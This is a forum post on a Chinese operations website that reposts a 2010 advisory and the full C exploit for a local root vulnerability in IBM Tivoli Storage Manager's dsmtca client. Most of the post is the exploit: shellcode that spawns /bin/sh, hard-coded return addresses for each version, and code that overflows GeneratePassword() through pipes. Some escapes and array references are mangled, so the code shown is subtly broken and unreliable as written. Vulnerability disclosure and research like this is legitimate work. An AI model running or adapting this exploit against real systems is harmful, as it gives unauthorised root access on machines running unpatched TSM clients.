设为首页 收藏本站
查看: 565|回复: 0

[经验分享] IBM Tivoli Storage Manager (TSM) Local Root

[复制链接]

尚未签到

发表于 2017-5-25 10:11:21 | 显示全部楼层 |阅读模式
http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca.txthttp://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca-exploit.c==-===-=====-=======-===========-=============-=================IBM Tivoli Storage Manager (TSM) Local RootKryptos Logic, December 2010==-===-=====-=======-===========-=============-======================[ TimelineVendor Contacted...........: 2009-12-14Fix from Vendor............: 2010-12-14Advisory Published.........: 2010-12-15=====[ Affected VersionsVulnerable:IBM TSM 6.1: 6.1.0.0 through 6.1.3.0IBM TSM 5.5: 5.5.0.0 through 5.5.2.7IBM TSM 5.4: 5.4.0.0 through 5.4.3.3IBM TSM 5.3: 5.3.0.0 through 5.3.6.7- Potentially older versions of IBM TSM dsmtcaNot vulnerable:IBM TSM 6.1.4IBM TSM 5.5.3IBM TSM 5.4.3.4IBM TSM 5.3.6.10See IBM advisory IC65491 for details:http://www.ibm.com/support/docview.wss?uid=swg21454745=====[ VulnerabilityWhen IBM TSM communicates with the suid root backup clientdsmtca, it is handled through pipes. The functionGeneratePassword() does not perform boundary checking, which canlead to a classic stack based buffer overflow - making localcode execution possible.=====[ ExploitationThe LANG environment variable gets copied to a fixed location inmemory. An attacker can achieve arbitrary code execution byplacing his shellcode in the variable, and then overwrite thereturn address of GeneratePassword() with the known address thatthe value is copied to.=====[ CreditsDiscovered by Peter Wilhelmsen and Daniel Kalici, Kryptos Logic.Exploit developed by Peter Wilhelmsen and Morten ShearmanKirkegaard, Kryptos Logic.=====[ About Kryptos LogicKryptos Logic is a group of talented computer security expertsfrom around the globe that has coalesced into a highly effectiveteam. We provide a wide range of security products ranging frombinary analysis, instrusion management systems, anti-piracy, anddigital rights management software. We also performstate-of-the-art research on emerging attack vectors and threatsto current digital infrastructure.http://www.kryptoslogic.com//** IBM Tivoli Storage Manager 6.1 - Local Root in DSMTCA GeneratePassword* Copyright (C) 2009-2010 Kryptos Logic** Bug discovered by Peter Wilhelmsen and Daniel Kalici.* Exploit by Peter Wilhelmsen and Morten Shearman Kirkegaard.** http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca.txt* http://www.kryptoslogic.com/advisories/2010/kryptoslogic-ibm-tivoli-dsmtca-exploit.c*/#include <stdio.h>#include <errno.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <signal.h>#include <inttypes.h>char shellcode[] ="/x31/xc0/x31/xdb/x31/xc9/xb0/x46/xcd/x80/xeb/x1d""/x5e/x88/x46/x07/x89/x46/x0c/x89/x76/x08/x89/xf3""/x8d/x4e/x08/x8d/x56/x0c/xb0/x0b/xcd/x80/x31/xc0""/x31/xdb/x40/xcd/x80/xe8/xde/xff/xff/xff/bin/sh";enum arguments {tcaProgramPath,tcaDebugStop,tcaAlertString,tcaPipe0,tcaPipe1,tcaPipe2,tcaPipe3,tcaPswdFileName,tcaLang,tcaErrorLog,tcaDsDir,tcaRequest,tcaSessID,tcaServerName,tcaPasswordFile,tcaPasswordDir,tcaBuildData,tcaBuildTime,tcaCliType,tcaTraceTrusted,tcaClusterEnabl,tcaCryptoType,tcaTerminate,tcaArgCount};/* Find the buflen (56 in this case) in GeneratePassword().** .text:0805B056 _Z16GeneratePasswordhiiP12pswdFileInfoPcS1_S1_S1_S1_ proc near* ...* .text:0805B155 lea eax, [ebp-56]* .text:0805B158 mov [esp+4], eax ; buf* .text:0805B15C mov [esp], edi ; fd* .text:0805B15F call _read*** Set the retaddr (0x083C7100 in this case) to the Locale export.** .data:083C7100 Locale db 55h dup(0) ; DATA XREF: .got:Locale_ptro*/struct {char *name;int buflen;uint32_t retaddr;} versions[] = {{ "5.5.1.4-linux-i386", 40, 0x0826E7E0 },{ "5.5.2.0-linux-i386", 40, 0x08278180 },{ "6.1.0.0-linux-i386", 56, 0x08356520 },{ "6.1.3.0-linux-i386", 56, 0x083C7100 },{ NULL }};void SpawnTask(char *argv[]){pid_t pid;signal(SIGCHLD, SIG_IGN);pid = fork();if (pid == -1) {perror("fork() failed");exit(EXIT_FAILURE);}if (pid != 0) {return;}signal(SIGINT, SIG_IGN);signal(SIGTERM, SIG_IGN);signal(SIGQUIT, SIG_IGN);signal(SIGPIPE, SIG_IGN);signal(SIGSEGV, SIG_IGN);signal(SIGXFSZ, SIG_IGN);signal(SIGTSTP, SIG_IGN);signal(SIGABRT, SIG_IGN);execv(argv[0], argv);perror("execv() failed");exit(EXIT_FAILURE);}void exploit(int v){int pfd[2];int cfd[2];char p0[16];char p1[16];char p2[16];char p3[16];char buffer[64];uint8_t len;char *args[tcaArgCount];len = versions[v].buflen + 8;if (len &gt; sizeof(buffer)) {fprintf(stderr, "versions[%d].buflen &gt; %d/n",v, (int)sizeof(buffer));exit(EXIT_FAILURE);}setenv("LANG", shellcode, strlen(shellcode));if((pipe(pfd) == -1) || (pipe(cfd) == -1)){perror("pipe() failed");exit(EXIT_FAILURE);}sprintf(p0, "%d", pfd[0]);sprintf(p1, "%d", pfd[1]);sprintf(p2, "%d", cfd[0]);sprintf(p3, "%d", cfd[1]);args[tcaProgramPath ] = "/opt/tivoli/tsm/client/ba/bin/dsmtca";args[tcaDebugStop ] = "0";args[tcaAlertString ] = "TCA Interr/bfacee/b ADSM Release 3";args[tcaPipe0 ] = p0;args[tcaPipe1 ] = p1;args[tcaPipe2 ] = p2;args[tcaPipe3 ] = p3;args[tcaPswdFileName] = "/etc/adsm/TSM.PWD";args[tcaLang ] = "/opt/tivoli/tsm/client/lang/en_US/dsmclientV3.cat";args[tcaErrorLog ] = "/var/log/dsmerror.log";args[tcaDsDir ] = "/opt/tivoli/tsm/client/ba/bin";args[tcaRequest ] = "C";args[tcaSessID ] = "NODE";args[tcaServerName ] = "SERVER";args[tcaPasswordFile] = "/etc/adsm/TSM.PWD";args[tcaPasswordDir ] = "";args[tcaBuildData ] = "AASATRG";args[tcaBuildTime ] = "DMESEEG";args[tcaCliType ] = "";args[tcaTraceTrusted] = "0";args[tcaClusterEnabl] = "0";args[tcaCryptoType ] = "1";args[tcaTerminate ] = (char *)NULL;SpawnTask(args);close(pfd[0]);close(cfd[1]);/* 0805A7BD call _read( fd, buf, 1 ) */write(pfd[1], "/x41", 1);/* 0805A7DD call _read( fd, var_AAA, 1 ) */write(pfd[1], "/x41", 1);/* 0805A7FD call _read( fd, var_5BB, 1 ) */write(pfd[1], &amp;len, 1);/* 0805A824 call _read( fd, var_28, var_5BB ) */memset(buffer, 'A', sizeof(buffer));*(uint32_t *)(buffer + len - 4) = versions[v].retaddr;write(pfd[1], buffer, len);/* read the response, needed to make GeneratePassword() return */read(cfd[0], buffer, sizeof(buffer));close(pfd[1]);close(cfd[0]);}void usage(char *path){int i;fprintf(stderr, "Usage: %s version/n", path);fprintf(stderr, "/n");fprintf(stderr, "Where /"version/" is one of:/n");for (i=0; versions.name; i++) {fprintf(stderr, "%s/n", versions.name);}}int main(int argc, char *argv[]){int i;if (argc != 2) {usage(argv[0]);return EXIT_FAILURE;}for (i=0; versions.name; i++) {if (strcmp(argv[1], versions.name) == 0) {exploit(i);return EXIT_SUCCESS;}}usage(argv[0]);return EXIT_FAILURE;}</inttypes.h></signal.h></unistd.h></string.h></stdlib.h></errno.h></stdio.h>

运维网声明 1、欢迎大家加入本站运维交流群:群②:261659950 群⑤:202807635 群⑦870801961 群⑧679858003
2、本站所有主题由该帖子作者发表,该帖子作者与运维网享有帖子相关版权
3、所有作品的著作权均归原作者享有,请您和我们一样尊重他人的著作权等合法权益。如果您对作品感到满意,请购买正版
4、禁止制作、复制、发布和传播具有反动、淫秽、色情、暴力、凶杀等内容的信息,一经发现立即删除。若您因此触犯法律,一切后果自负,我们对此不承担任何责任
5、所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其内容的准确性、可靠性、正当性、安全性、合法性等负责,亦不承担任何法律责任
6、所有作品仅供您个人学习、研究或欣赏,不得用于商业或者其他用途,否则,一切后果均由您自己承担,我们对此不承担任何法律责任
7、如涉及侵犯版权等问题,请您及时通知我们,我们将立即采取措施予以解决
8、联系人Email:admin@iyunv.com 网址:www.yunweiku.com

所有资源均系网友上传或者通过网络收集,我们仅提供一个展示、介绍、观摩学习的平台,我们不对其承担任何法律责任,如涉及侵犯版权等问题,请您及时通知我们,我们将立即处理,联系人Email:kefu@iyunv.com,QQ:1061981298 本贴地址:https://www.yunweiku.com/thread-380823-1-1.html 上篇帖子: IBM MQ7 上的PUB/SUB 下篇帖子: 教你利用IBM的开发手册
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

扫码加入运维网微信交流群X

扫码加入运维网微信交流群

扫描二维码加入运维网微信交流群,最新一手资源尽在官方微信交流群!快快加入我们吧...

扫描微信二维码查看详情

客服E-mail:kefu@iyunv.com 客服QQ:1061981298


QQ群⑦:运维网交流群⑦ QQ群⑧:运维网交流群⑧ k8s群:运维网kubernetes交流群


提醒:禁止发布任何违反国家法律、法规的言论与图片等内容;本站内容均来自个人观点与网络等信息,非本站认同之观点.


本站大部分资源是网友从网上搜集分享而来,其版权均归原作者及其网站所有,我们尊重他人的合法权益,如有内容侵犯您的合法权益,请及时与我们联系进行核实删除!



合作伙伴: 青云cloud

快速回复 返回顶部 返回列表